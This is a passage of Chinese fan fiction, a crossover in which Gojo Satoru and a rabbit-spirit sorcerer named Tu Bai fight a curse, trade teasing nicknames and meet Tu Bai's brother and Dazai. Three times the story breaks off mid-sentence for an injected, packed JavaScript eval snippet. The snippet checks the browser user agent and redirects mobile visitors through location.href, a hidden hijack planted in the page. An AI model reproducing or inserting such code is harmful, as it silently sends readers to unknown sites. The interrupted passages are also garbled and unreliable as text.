黑色胶质被停在那层无限接近的空间外,但它没有退缩,反而开始“吮吸”。涂白看见五条悟周围的空间出现了细微的裂痕——不是真的裂开,是能量被抽走的视觉扭曲。 “哦?”五条悟挑眉,“还真能吸。” 他抬手,苍蓝色的光球在掌心凝聚。 “试试这个。” 苍发射,但没像往常一样飞出去。光球在接触到咒灵表面的瞬间,被“吞”了进去。黑色胶质膨胀了一圈,表面泛起同样的苍蓝色光芒,然后—— 反射。 一道缩小版的苍朝五条悟射回来。五条悟侧身躲开,光球擦过他肩膀,撞在后面的铁罐上,炸出一个大洞。 “有意思。”五条悟笑了,“能吸收还能反射。这能力要是能复制,咒术界得革命。” 咒灵再次蠕动,这次分化出十几条触手,同时刺向五条悟。无下限依然有效,但每条触手都在吸收能量。涂白看见五条悟周围的空间扭曲越来越明显,像透过热浪看景物。 “前辈!”涂白忍不住喊。 “别过来。”五条悟说,“它在试探我的术式上限。再等等。” 等什么?涂白不知道。他站在五步外,手心全是汗。 触手的吸收速度在加快。五条悟忽然“啧”了一声。 下一秒,无下限消失了。 不是解除,是被强行“吸穿”了。涂白看见那些触手突破了最后一层空间距离,直刺向五条悟胸口。 时间好像变慢了。 涂白脑子里一片空白。他没有思考,没有计划,纯粹是本能反应。妖力像爆炸一样从体内涌出,全部涌向双手。 构筑。 不是盾牌,不是墙,是多层复合结构——最外层是蜂窝状的缓冲层,中间是高密度金属,最内层是弹性凝胶。三层叠在一起,厚度超过半米,银色妖纹在上面疯狂流转。 屏障出现在五条悟面前,挡在触手和五条悟之间。 触手撞上屏障。 第一层,碎。蜂窝结构像纸一样被撕裂。 第二层,碎。高密度金属发出刺耳的扭曲声,裂成碎片。 第三层,撑住了0.5秒——凝胶层被压到极限,变形,但没破。 就这0.5秒。 五条悟动了。 他根本不需要屏障保护——涂白后来才意识到这点。在屏障破碎的瞬间,五条悟已经完成了术式重构。无下限不是被“吸穿”,是他主动解除了外层,集中能量在一点。 他抬手,一根手指对准咒灵核心。 “虚式——‘茈’。” 没有声音。 或者说,声音被湮灭了。涂白看见一道扭曲的紫黑色光束从五条悟指尖射出,不是直线,是螺旋状前进,所过之处空间都在震颤。 咒灵想吸收,但来不及。光束太快,太密集,能量层级太高。黑色胶质在接触到光束的瞬间就开始崩解,不是被打碎,是被从分子层面拆散。 整个过程不到两秒。 咒灵消失了,连残秽都没留下。地面上只留下一道深深的螺旋状沟壑,边缘光滑如镜。 工厂里恢复安静。 涂白瘫坐在地上,大口喘气。刚才那一下抽空了他七成妖力,现在手脚发软,眼前发黑。他低头看自己的手,在抖。 脚步声走近。 五条悟蹲在他面前。 “喂。”五条悟说,“你刚才是想保护我?” 涂白抬头。五条悟的墨镜还戴着,但嘴角的弧度很奇怪——不是笑,也不是生气,是一种涂白看不懂的表情。 “我……”涂白声音发干,“我不知道……它就……” “就你还想保护我?”五条悟伸手,戳了戳他额头,“知道那是什么吗?特级咒灵。能吸收术式的特级。你那层屏障,它要是认真吸,连0.1秒都撑不住。” 涂白说不出话。 “而且,”五条悟继续说,“我根本不需要保护。无下限是我自己解除的,为了集中能量打核心。你以为我被逼到绝路了?” “……对不起。” “谁要你道歉了。”五条悟叹了口气。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚才构筑屏障时,妖力流动的感觉还在。那种不顾一切的冲动,那种“必须做点什么”的急迫感…… 他闭上眼。 脑子里浮现出那双冰蓝色的眼睛。 没有墨镜,没有遮挡,直直地看着他。 谢谢。 车开到公寓楼下,涂白下车时腿还是软的。他扶着墙走进楼,上电梯,开门,倒在沙发上。 手机震了。 是五条悟发来的消息:【到家了?】 涂白回:【嗯。】 五条悟:【今天的事,别多想。好好休息。】 涂白盯着屏幕,手指悬在键盘上。他想问:你为什么摘墨镜?为什么说谢谢?为什么…… 最后他只回了个:【嗯。】 对方没再回复。 涂白躺在沙发上,盯着天花板。阳光从窗户照进来,在地板上拉出长长的光斑。 他抬手,挡住眼睛。 掌心还残留着妖力耗尽的空虚感,但胸口有什么东西在发烫。 不是妖力,是别的什么。 他翻了个身,把脸埋进靠垫里。 完蛋了,他想。 这次真的完蛋了。 8. 第8章:昵称与炸毛 化工厂任务后的第三天,涂白恢复了正常作息。妖力补回来了,但心里那点不对劲的感觉还在。他尽量不去想那天五条悟摘掉墨镜的眼睛,还有那句“谢谢”。 周三上午有课,他坐在教室后排,手机调了静音。十点半,屏幕亮了。 是五条悟的消息。 【小白,下午两点训练场,别迟到。】 涂白盯着那个称呼,愣了一下。 小白? 他打字回复:【前辈,我叫涂白。】 五条悟秒回:【知道啊,小白。】 涂白皱眉:【能别这么叫吗?】 五条悟:【为什么?不好听?】 涂白:【像叫宠物。】 五条悟发了个兔子表情包:【你不就是兔子吗?】 涂白无语,把手机塞回口袋。 下午一点五十,他准时到高专训练场。五条悟已经到了,坐在长椅上玩手机。看见涂白进来,他抬手打招呼:“哟,小白,挺准时嘛。” 涂白走过去,站定:“前辈,请叫我涂白。” “不要。”五条悟站起来,“开始吧,今天练构筑精度。” 训练内容是用妖力构筑一根针,然后穿进指定大小的孔里。孔越来越小,从五毫米到一毫米。涂白集中精神,指尖凝聚出银色细针,小心翼翼地操控。 五条悟在旁边看着,时不时点评:“歪了。”“手抖了。”“再来。” 练到一半,伊地知过来送文件。五条悟签完字,伊地知离开时,五条悟说:“对了伊地知,下次任务时间调整的话直接通知小白就行。” 伊地知点头:“好的,涂白先生——” “叫小白就好,他不在意。”五条悟笑着说。 涂白手里的针“啪”一声断了。 “我在意。”他说。 五条悟装没听见。 --- 周五,总监部月度任务报告会。 涂白作为一级咒术师需要出席。他坐在后排角落,尽量降低存在感。五条悟坐在前排,和几个特级挨着。会议冗长,老头子们轮流讲话,涂白听得昏昏欲睡。 中途休息时,涂白去走廊透气。刚站了没两分钟,五条悟从会议室出来,看见他,招手。 “小白,过来一下。” 声音不大,但在安静的走廊里很清晰。几个路过的术师看过来。 涂白硬着头皮走过去:“前辈,什么事?” 五条悟从口袋里掏出个小盒子:“这个,给你。” 涂白接过,打开,里面是几颗包装精致的糖果。 “上次任务的谢礼。”五条悟说,“虽然多余,但心意到了。” 涂白想说“不用”,但五条悟已经转身回会议室了。他拿着糖果盒,站在原地,听见旁边有人小声说话。 是歌姬和冥冥。 “五条那家伙……”歌姬压低声音,“在养宠物吗?” 冥冥笑:“说不定哦。你看他叫得多顺口。” “那个涂白……是一级吧?被这么叫不生气?” “谁知道呢。” 两人走远了。涂白低头看着手里的糖果,突然觉得盒子有点烫手。 --- 最过分的是周末。 涂白在家整理构筑术式的练习笔记,手机响了。是五条悟打来的视频通话。 他犹豫了三秒,接了。 屏幕里出现五条悟的脸,背景像是他家客厅。他没戴墨镜,头发有点乱,穿着宽松的居家服。 “小白,在干嘛?” “整理笔记。”涂白把手机靠在水杯上,“前辈有事?” “没事不能找你?”五条悟托着下巴,“对了,我想了想,‘小白’确实有点普通。” 涂白心里升起不好的预感。 “叫‘兔兔’怎么样?”五条悟眼睛弯起来,“更贴切。你本来就是兔子嘛。” 涂白深吸一口气。 “前辈。”他一字一句地说,“我不是宠物。” “但很像啊。”五条悟说,“你看,耳朵——”他指了指屏幕,好像涂白的耳朵真的露出来了似的,“虽然现在藏着,但肯定有。还有你生气的时候,脸会鼓起来,像这样——” 他鼓起腮帮子,做了个夸张的鬼脸。 涂白咬牙:“我没生气。” “你生气了。”五条悟笑,“而且你现在心里在想‘这个白毛混蛋’,对吧?” 涂白被说中,噎住。 “看,被我说中了。”五条悟得意,“兔兔多可爱,比小白可爱。以后就这么叫了。兔兔~兔兔~” “前辈!” “嗯?” “请、不、要、这、么、叫。”涂白每个字都像从牙缝里挤出来的。 五条悟凑近屏幕,那双冰蓝色的眼睛放大:“那你怎么阻止我?打我?你又打不过。” 涂白不说话了。 他知道五条悟说得对。打不过,说不过,躲不掉。这个人想怎么叫就怎么叫,他一点办法都没有。 “好啦,不逗你了。”五条悟坐回去,“明天任务,老时间老地点。别迟到哦,兔兔。” 他挂了视频。 涂白盯着黑掉的屏幕,胸口堵着一股气。 他抓起旁边的靠垫,狠狠捶了两下。 “白毛混蛋……!” --- 第二天,涂白决定反击。 既然说不过打不过,那就用别的方式表达不满。比如——迟到。 任务集合时间是下午三点,在新宿一栋商业楼的楼顶。涂白三点十分才到。他慢悠悠走上楼梯,推开天台门时,已经做好了被五条悟质问的准备。 但天台上的场景让他愣住了。 五条悟坐在水箱边的阴影里,手里拿着个精致的甜品盒。看见涂白进来,他抬头,笑。 “迟到十分钟。”五条悟说,“我数着呢。” 涂白走过去:“路上堵车。” “骗人。”五条悟打开甜品盒,“你是故意的。想表达‘我不高兴’,对吧?” 涂白不吭声。 五条悟从盒子里拿出一块蛋糕,是涂白最喜欢的芒果慕斯,上面还点缀着金箔。 “这家店今天新品限量发售,我排队买的。”五条悟把蛋糕递过来,“本来想任务结束给你,但既然你迟到了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122999|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他作势要收回。 涂白手比脑子快,一把接住了。 “迟到的话,这个就归我了哦~”五条悟学着他刚才的语气,“不过算了,给你吧。吃完了干活。” 涂白看着手里的蛋糕,又看看五条悟。 “……前辈不生气?” “生什么气?”五条悟站起来,拍拍裤子上的灰,“你迟到又不会影响任务结果。反正最后都是我搞定。” 他说得理所当然。 涂白低头吃蛋糕。芒果的甜味在舌尖化开,口感绵密。确实很好吃。 “下次想抗议的话,直接说。”五条悟走到天台边缘,往下看,“拐弯抹角的不像你。” “……说了有用吗?” “没用。”五条悟回头,墨镜滑到鼻梁下,“但至少我知道你在想什么。总比你自己憋着强。” 涂白吃完最后一口蛋糕,把盒子扔进垃圾桶。 “任务目标呢?” “下面。”五条悟指指楼下,“三级咒灵,躲在空调外机后面。你去处理吧,我在这儿看着。” 涂白愣住:“我一个人?” “不然呢?”五条悟笑,“一级咒术师连三级都搞不定?” “……能搞定。” “那去吧。”五条悟挥手,“加油哦,兔兔。” 涂白瞪了他一眼,转身下楼。 天台门关上的瞬间,他听见五条悟的笑声。 --- 咒灵很弱,涂白用构筑的锁链捆住,几下就祓除了。他回到天台时,五条悟还在原地,正拿着手机打字。 “解决了。”涂白说。 “嗯。”五条悟收起手机,“走吧,送你回去。” “不用,我坐电车……” “我说送你就送你。”五条悟走过来,很自然地揽住他肩膀,“顺便路上再买个甜品。我知道有家新开的店,泡芙不错。” 涂白被他带着走,想挣开,但五条悟手臂很用力。 “前辈。” “嗯?” “能别叫我兔兔吗?” “为什么?” “……难听。” “我觉得好听。”五条悟说,“而且你也没真的讨厌,对吧?你只是不好意思。” 涂白不说话了。 五条悟低头看他:“被我说中了?” “……没有。” “有。”五条悟笑,“你耳朵又红了。耳根那里,皮肤透红哦。” 涂白下意识摸耳朵。 五条悟笑得更开心了。 到家了,涂白下车时,五条悟塞给他一袋泡芙。 “明天见,兔兔。” “明天没任务……” “那就后天。”五条悟挥手,“总之,下次见。” 车开走了。涂白拎着泡芙站在门前,看着远去的车。 手机震了,是五条悟的消息。 【泡芙记得吃,放久了不好吃。】 涂白回了个【嗯】。 他走出车站,往公寓走。路灯亮起来了,影子拉得很长。 他想,明天一定要更坚决地抗议。 绝对。 9. 第9章:哥哥的突击检查 涂白这周确实没联系家里。 不是故意的,就是忙。周一到周三跟五条悟出了两个任务,周四补东大的课,周五写报告写到凌晨三点。手机充电器不知道丢哪儿了,等找到的时候,屏幕已经黑了三天。 他想着周末再给大哥打电话,结果周六上午门铃就响了。 “谁啊……”涂白揉着眼睛开门,身上还穿着睡衣——黑色T恤和运动裤,头发乱翘。 门外站着两个人。 前面那个,粉色小卷毛,娃娃脸,红眼睛瞪得圆圆的,身高大概168,穿着浅粉色的连帽卫衣和牛仔裤,背了个兔子形状的双肩包。是涂宝,他大哥。 后面那个高一些,黑色卷发,鸢色眼睛,脸上缠着绷带,披着件米色风衣,双手插在口袋里,正笑眯眯地看着他。太宰治,涂宝那个……男朋友?伴侣?涂白不太确定该怎么称呼。 “二宝!”涂宝扑上来抱住他,声音带着哭腔,“你一周没回消息!电话也打不通!我以为你出事了!” 涂白被抱得踉跄一步:“哥,我没事,就是手机没电——” “没电你不会借个充电器吗!”涂宝抬头,眼圈已经红了,“你知道我多担心吗?横滨到东京就半小时车程,我想着要是今天再联系不上,我就、我就……” “你就哭到武装侦探社全员出动来找我。”涂白替他说完,无奈地拍他背,“我真没事。先进来。” 太宰治跟着走进公寓,好奇地打量四周:“涂白君住的地方挺整洁嘛~比宝儿的房间干净多了。” “治君!”涂宝瞪他,“我房间哪里乱了!” “哪里都乱。”太宰治笑着坐到沙发上,很自然地往后一靠,“啊~奔波了一早上,好累。涂白君,有咖啡吗?” “只有速溶的。” “那算了。”太宰治摆摆手,“话说,涂白君,你昨晚是不是很晚才睡?” 涂白愣了下:“你怎么知道?” “黑眼圈。”太宰治指了指自己眼下,“虽然没我严重,但很明显哦。而且……”他鼻子动了动,“空气里有淡淡的咒力残秽,你最近在出任务?” 涂白心里一紧。太宰治的观察力一直很可怕。 “嗯,接了几个一级任务。”他简单带过,去厨房倒水,“哥,你们吃早饭了吗?” “吃了……”涂宝跟到厨房,压低声音,“二宝,你实话跟我说,是不是有人欺负你?” “没有。” “那为什么一直不联系家里?”涂宝抓住他手腕,“以前你再忙也会发个消息报平安的。这周一条都没有,爸昨天还问我你是不是谈恋爱了所以忘了——” 涂白手一抖,水差点洒出来。 “没有谈恋爱。”他说得很快,“就是……搭档比较麻烦。” “搭档?”涂宝皱眉,“那个五条悟?” 涂白点头。 涂宝的表情瞬间变了,从担心变成警惕:“他是不是欺负你了?我就知道!那种高高在上的特级咒术师,肯定看不起我们这种——” “他没有看不起我。”涂白打断,“哥,你想多了。” “那为什么——” 门铃又响了。 涂白心里咯噔一下。这个时间点,会来他公寓的只有一个人。 涂宝已经转身去开门了:“谁啊——” 门打开。 门外站着五条悟。 白发,黑色墨镜,今天没穿高专制服,换了件白色的连帽卫衣和黑色休闲裤,手里拎着个纸袋,能看见里面是喜久福的盒子。他大概刚洗过澡,头发还有点湿,几缕白发贴在额前。 “哟,小白,报告我改好——”五条悟话说到一半,停住了。 他的墨镜往下滑了点,冰蓝色的眼睛从镜片上方露出来,看了看开门的涂宝,又看了看客厅里的太宰治,最后看向厨房门口的涂白。 “啊。”五条悟说,“有客人?” 涂宝整个人僵在门口。 他盯着五条悟,眼睛慢慢睁大,然后突然转身,一把将涂白拉到身后,动作快得涂白都没反应过来。 “你就是五条悟?”涂宝的声音在发抖,但努力挺直背,“那个欺负我弟弟的咒术师?” 五条悟挑眉。他把墨镜推回原位,嘴角勾起:“哦?你就是那个爱哭的哥哥?涂宝,对吧?我看过资料。” “谁爱哭了!”涂宝眼圈更红了,但强忍着,“你、你对我弟弟做了什么?他这周都没联系家里,是不是你——” “哥!”涂白赶紧打断,“跟前辈没关系,是我自己——” “你别替他说话!”涂宝回头瞪他,眼泪终于掉下来,“你看你都瘦了!黑眼圈那么重!肯定是被他压榨了!” 涂白哭笑不得:“我真没有……” 五条悟站在门口,没进来,也没走。他的视线越过涂宝,和客厅里的太宰治对上了。 太宰治靠在沙发上,举起手挥了挥,笑眯眯的。 五条悟也笑了,但笑容和平时不太一样。涂白说不上来哪里不一样,就是……更冷一点?或者说,更警惕。 “那个,”五条悟开口,声音恢复了平时的懒洋洋,“我能先进来吗?提着东西挺累的。” 涂宝不让:“不行!你先说清楚!” “哥……”涂白想劝,但涂宝死死挡在他面前。 五条悟叹了口气。他把手里的纸袋放到门口的鞋柜上,然后做了个让涂白意外的动作——他摘下墨镜,塞进口袋,然后对着涂宝,鞠了一躬。 不是随便点个头那种,是标准的九十度鞠躬。 “之前的事,抱歉。”五条悟说,声音认真得不像他,“出任务过程中,为了保护我,涂白妖力耗尽。是我的错。” 涂宝愣住。 涂白也愣住。 “至于这周,”五条悟直起身,冰蓝色的眼睛看着涂宝,“我们出了两个任务,涂白确实很累,但那是任务需要,不是我故意压榨。他的报告写得很好,我是来送修改意见的。” 他顿了顿,补充:“还有,我会照顾好你弟弟的。我保证。” 空气安静了几秒。 涂宝的眼泪还挂在脸上,表情从愤怒变成茫然,又变成将信将疑。他回头看看涂白,涂白也是一脸懵。 “噗。” 客厅传来笑声。 太宰治不知道什么时候走了过来,手搭在涂宝肩上:“哎呀呀,五条先生这话说得真诚恳~不过,‘照顾’的定义很有趣呢。是工作上照顾,还是……生活上也照顾?” 五条悟重新戴上墨镜,笑容回来了:“都有~毕竟我们是搭档嘛。” “搭档啊。”太宰治拉长声音,“那涂白君这周住在你家了吗?” 涂白:“……没有!” 五条悟:“还没。” 两人同时开口,然后对视一眼。涂白瞪他,五条悟无辜地耸肩。 涂宝看看这个,又看看那个,最后抹了把脸:“……我要带二宝回横滨。” “哥!” “不行哦。”五条悟说,“他明天还有任务,跟我一起。” “那我也去!” “你不是咒术师吧?”五条悟歪头,“而且横滨的武装侦探社不是也很忙吗?我听说最近有境外组织在活动。” 太宰治眼睛眯了眯:“五条先生消息真灵通。” “彼此彼此。” 两人对视,空气里有什么东西在噼啪作响。 涂白头疼地按了按太阳穴:“那个……要不我们出去坐坐?楼下有家咖啡馆。” --- 咖啡馆角落的卡座里,四个人面对面坐着,气氛微妙。 涂宝和涂白坐一边,五条悟和太宰治坐对面。服务员上来的时候明显犹豫了一下,才把菜单放下。 “我要焦糖玛奇朵。”涂宝闷闷地说。 “美式咖啡,谢谢。”涂白说。 “我要——”太宰治翻开菜单,眼睛亮了,“你们这里有‘沉睡之森’特调吗?听说用了致死量的咖啡因?” 服务员:“……有的,但需要签免责协议。” “我要这个!” “治君!”涂宝抓住他手臂,“不准点!上次你喝完之后在侦探社屋顶站了三个小时说要飞起来,差点掉下去!” “那是意外啦~” “不行就是不行!” 涂白看着哥哥和太宰治拉扯,觉得更头疼了。他偷偷看了眼对面,五条悟正托着下巴看菜单,嘴角带笑,好像觉得很有意思。 “我要这个‘甜蜜炸弹芭菲’。”五条悟指着图片上堆成山的甜品。 “那是两人份的……”服务员小声提醒。 “我一个人吃得完~” 点完单,短暂的沉默。 涂宝先开口,眼睛还红着:“二宝,你老实跟我说,他到底有没有欺负你?” “没有。”涂白认真说,“前辈虽然……性格有点问题,但没欺负我。任务上很照顾我,还教我怎么用术式。” “真的?” “真的。” 涂宝盯着他看了几秒,然后肩膀放松下来:“那就好……你要是被欺负了一定要跟我说,我让治君——” “让我怎么样?”太宰治笑眯眯地接话,“去咒术总监部闹吗?还是去五条家?” “反正……反正不能让二宝受委屈。”涂宝小声说。 涂白心里一暖:“嗯。” 咖啡和甜品上来了。太宰治的那杯“沉睡之森”是诡异的深紫色,表面还浮着泡泡。他兴奋地拿起勺子。 涂宝立刻抢走:“不准喝!我给你点果汁!” “诶——宝儿好过分——” 五条悟的芭菲确实很大,三层冰淇淋,堆满了水果、饼干和奶油。他用勺子挖了一大口,满足地眯起眼:“好吃~小白你要不要?” “不用,我有咖啡。” “尝尝嘛~”五条悟把勺子递过来,上面是沾了草莓酱的冰淇淋。 涂白犹豫了下,还是张嘴吃了。确实很甜。 涂宝看着这个互动,表情又复杂起来。 “说起来,”太宰治喝着被强制换成的橙汁,语气随意,“涂白君小时候是不是很可爱?宝儿经常跟我说呢。” 涂白有种不好的预感:“哥,你别——” “二宝小时候可笨了!”涂宝突然来劲了,“他第一次学会构筑术式,想给自己做个玩具屋,结果做出来一个全是胡萝卜形状的屋子!门是胡萝卜,窗是胡萝卜,连屋顶的瓦片都是胡萝卜片!” 涂白捂住脸:“哥……” “还有还有!”涂宝继续说,“他七岁的时候,妖力控制不稳,一生气耳朵就会冒出来。有一次跟隔壁山的狐狸崽子吵架,吵着吵着耳朵‘噗’一声弹出来了,把对方吓哭了,他还以为是自己的王霸之气——” “涂宝!”涂白耳根通红。 五条悟笑得肩膀都在抖:“真的吗?耳朵会冒出来?现在还会吗?” “不会了!”涂白咬牙,“我控制得很好了!” “可惜~”五条悟托着下巴,“想看。” “不给看。” 涂宝还在说:“二宝第一次化形也不顺利,变到一半卡住了,半人半兔的样子维持了一整天,哭得稀里哗啦的——” “哥!求你别说了!”涂白想钻到桌子底下。 太宰治在旁边煽风点火:“还有别的吗?比如第一次谈恋爱什么的?” “他没有谈过恋爱!”涂宝立刻说,“二宝可乖了,上学的时候有人给他情书,他以为是挑战书,用构筑术式做了个盾牌挡回去——” “噗哈哈哈!”五条悟这次没忍住,笑出声了。 涂白绝望地趴在桌子上,耳朵红得发烫。他感觉五条悟的腿在桌子下碰了碰他的膝盖,像是在安慰,又像是在逗他。 他踢了回去。 五条悟没躲,反而把腿靠过来,膝盖贴着涂白的膝盖,体温透过布料传过来。 涂白僵了下,没再动。 太宰治注意到了这个小动作,但没说话,只是笑了笑,转头看窗外。 话题渐渐转到日常。涂宝问了涂白的学业,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123000|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问了他的工作。五条悟偶尔插几句,说的都是好话:“小白很厉害”“构筑术式用得比我见过的很多人都好”“战术头脑不错”。 涂宝的脸色越来越好,到最后甚至有点不好意思:“……你真的这么觉得?” “当然。”五条悟说,“不然我为什么指名要跟他搭档?” 涂宝咬了下嘴唇,看向涂白:“那……那你要好好照顾自己。按时吃饭,别熬夜,任务危险的话别冲前面——” “哥,我是一级咒术师。” “一级也会受伤啊!” “好好好,我知道。” 太宰治在旁边打了个哈欠,无聊地玩着吸管。他突然从口袋里掏出个小瓶子,里面是白色的粉末。 “这是什么?”涂宝警觉。 “毒哦。”太宰治笑眯眯,“我在想,果汁加毒药,会不会——唔!” 涂宝捂住他的嘴,眼泪又出来了:“不准!治君你答应过我不再尝试奇怪的死法的!” “可是好无聊嘛……” “无聊就玩手机!不准吃!” 涂白看着哥哥手忙脚乱地抢走太宰治手里的瓶子,叹了口气。他看向五条悟,发现对方正看着他,墨镜后的眼睛看不清情绪,但嘴角是上扬的。 “你哥哥挺关心你的。”五条悟轻声说。 “……嗯。”涂白低头搅拌咖啡,“他从小就这样。爱哭,但很护着我们。” “我们?” “我还有个弟弟,涂兔,在意大利。”涂白顿了顿,“我们是三胞胎,我是老二,但大哥……比较像需要被照顾的那个。” 五条悟笑了:“那你就是实际上的大哥?” “差不多。” 又坐了一会儿,涂宝看了看时间:“我们该回去了,下午侦探社还有事。” 四人起身。走到咖啡馆门口,涂宝突然转身,用力抱了抱涂白。 “要好好的。”他声音又带上了哭腔,“有事一定要跟我说。” “知道了。”涂白拍拍他的背。 涂宝松开他,看向五条悟,表情认真:“五条先生,我弟弟……就拜托你了。” 五条悟点头:“放心,他不会少一根毛。” 涂宝盯着他看了几秒,然后深吸一口气,鞠躬:“谢谢。” “不客气~” 太宰治揽过涂宝的肩膀,对五条悟挥挥手:“那我们走啦。五条先生,下次来横滨玩啊~” “好啊。” 目送两人走远,涂白松了口气,又觉得有点累。他转头看向五条悟:“……抱歉,我哥他——” 话没说完,五条悟的手落在他头上,揉了揉他的头发。 动作很自然,力道不重。 涂白愣住,没躲。 “你哥哥挺可爱的。”五条悟说,手没拿开,“虽然爱哭,但很爱你。” “……嗯。” “所以。”五条悟低头看他,墨镜滑下一点,冰蓝色的眼睛露出来,“我不会让他担心的。” 涂白心脏漏跳了一拍。 五条悟收回手,重新戴好墨镜,恢复了平时那种懒洋洋的笑:“走啦,报告还在我家,去拿?” “……嗯。” 两人往五条悟公寓的方向走。路上,涂白忍不住问:“你刚才……为什么那么认真道歉?” “嗯?” “就是对我哥鞠躬那次。”涂白说,“不像你。” 五条悟脚步没停:“因为他是你家人啊。” “所以?” “所以要认真对待。”五条悟说得理所当然,“而且他哭得那么惨,我再开玩笑就过分了。” 涂白沉默了一会儿,小声说:“……谢谢。” “谢什么~” 走到五条悟公寓楼下时,涂白的手机震了下。他拿出来看,是涂宝的消息。 【二宝,我觉得五条先生人还不错。但他看你的眼神有点奇怪……你小心点。不过要是真的喜欢,哥哥支持你!】 涂白手一抖,手机差点掉地上。 “怎么了?”五条悟回头。 “……没什么。”涂白把手机塞回口袋,耳根又热起来。 奇怪的眼神? 什么意思? 他偷偷看了眼五条悟,对方正在按电梯按钮,侧脸在走廊灯光下显得轮廓分明。 电梯门打开,五条悟走进去,见涂白没动,挑眉:“发什么呆?进来啊。” “……哦。” 涂白走进电梯,站在五条悟旁边。电梯门关上,狭小的空间里只有他们两个人。 安静了几秒,五条悟突然说:“对了,你哥说的那个胡萝卜屋……” “不准提!” “可我想看~” “没有!” “那你现在构筑一个?小小的就行~” “不!” 电梯到了。门打开,五条悟笑着走出去,涂白跟在他后面,脸上热度还没退。 他摸着刚才被揉过的头发,心里那点异样的感觉,好像又多了些。 --- 而此刻,回横滨的电车上。 涂宝靠在太宰治肩上,还在抽鼻子:“治君,二宝真的不会有事吧……” “不会啦。”太宰治玩着他的头发,“五条悟虽然看起来轻浮,但挺认真的。” “你怎么知道?” “看眼神啊。”太宰治笑,“他看涂白君的眼神,跟看我、看你、看别人都不一样。” “哪里不一样?” “嗯……”太宰治想了想,“就像找到了有趣的玩具,但又不舍得弄坏。反而想好好保护起来。” 涂宝皱眉:“那到底是好还是不好?” “谁知道呢~”太宰治看向窗外飞逝的景色,“不过啊,宝儿。” “嗯?” “你弟弟比你想象的要强。”太宰治轻声说,“他能应付的。” 涂宝沉默了一会儿,点头:“……嗯。” 他相信二宝。 大不了之后再找时间“突击检查”一次。 10. 第10章:甜品与秘密交换 涂白醒来的时候已经上午十点了。 他抓起手机看时间,屏幕上有条未读消息,是五条悟发来的,时间显示早上七点半。 【昨天你哥哭了三次,我纸巾都不够用。今天补偿我,陪我买甜品。】 涂白盯着这条消息看了五秒,叹了口气。他确实觉得昨天哥哥有点失礼,虽然五条悟看起来不在意,但毕竟人家是特级咒术师,还是道个歉比较好。 他回了个【好】。 五条悟秒回:【地址发你,十二点见。】 --- 甜品店在银座一栋商业楼的二楼,装修得很精致,白色调,落地窗,座位之间用绿植隔开。涂白到的时候五条悟已经在了,坐在靠窗的位置,戴着那副小圆墨镜,正低头看手机。 “前辈。”涂白走过去。 “哟,挺准时。”五条悟抬头,笑了,“坐。” 涂白在他对面坐下。桌上已经放了菜单,厚厚一本,全是法文和图片。 “我点了几个招牌,你看看还要什么。”五条悟把菜单推过来。 涂白翻开,看到价格时眼皮跳了一下。最便宜的也要一千五日元。他快速扫了一眼,摇头:“够了。” “那再加个芒果慕斯。”五条悟对服务员说,然后看向涂白,“你的最爱。” “……才不是。”涂白下意识反驳。 “上次在京都你吃了两份。” “那是……” “那就是。”五条悟托着下巴,墨镜后的眼睛弯起来,“我还记得你吃的时候眼睛会亮,耳朵会动。” 涂白一愣:“你观察那么细?” “因为有趣啊。”五条悟理所当然地说,“所以,交换吧。” “交换什么?” “秘密。”五条悟往前倾了倾身,“你告诉我一个你的秘密,我告诉你一个我的。公平交易。” 涂白皱眉:“为什么?” “因为我想知道更多你的事。”五条悟说,“而且昨天我都那么诚实地跟你哥道歉了,你总得表示表示吧?” “……那算什么诚实。” “很诚实了好吗?”五条悟歪头,“我很少那么认真跟人鞠躬的。” 涂白没说话。他确实有点意外。 服务员把甜品端上来了。三层托盘,摆满了各种精致的点心:蒙布朗、草莓蛋糕、巧克力熔岩、水果挞,还有单独放在小盘子里的芒果慕斯,上面点缀着金箔。 五条悟把芒果慕斯推到涂白面前:“先吃,边吃边想。” 涂白拿起勺子,挖了一小口。甜味在嘴里化开,确实很好吃。他忍不住又挖了一勺。 “怎么样?”五条悟问。 “……不错。” “只是不错?”五条悟笑了,“你刚才眼睛亮了一下哦。” 涂白低头,耳朵有点热。 两人安静地吃了一会儿。五条悟解决掉了两个蛋糕,涂白慢慢吃着慕斯。窗外的阳光照进来,落在桌面上,暖洋洋的。 “所以,”五条悟擦擦嘴角,“想好要说什么秘密了吗?” 涂白放下勺子。他其实没什么秘密能说——或者说,他最大的秘密(妖族身份)五条悟已经知道了。其他的…… “我小时候,”涂白开口,声音有点低,“妖力暴走过一次。” “哦?”五条悟感兴趣地挑眉。 “大概……七八岁的时候吧。”涂白回忆,“那时候刚学会构筑术式,控制不好。有次跟爸妈吵架,一生气,妖力就炸了。” “然后?” “然后等我回过神来,”涂白有点尴尬,“整个山头都变成了胡萝卜田。真的胡萝卜,能吃的。密密麻麻,从山脚到山顶。” 五条悟愣了一下,然后“噗”地笑出声。 “真的假的?” “真的。”涂白捂脸,“我爸笑了我三个月,说以后家里不用买菜了。我妈还拔了几根回去煮汤。” 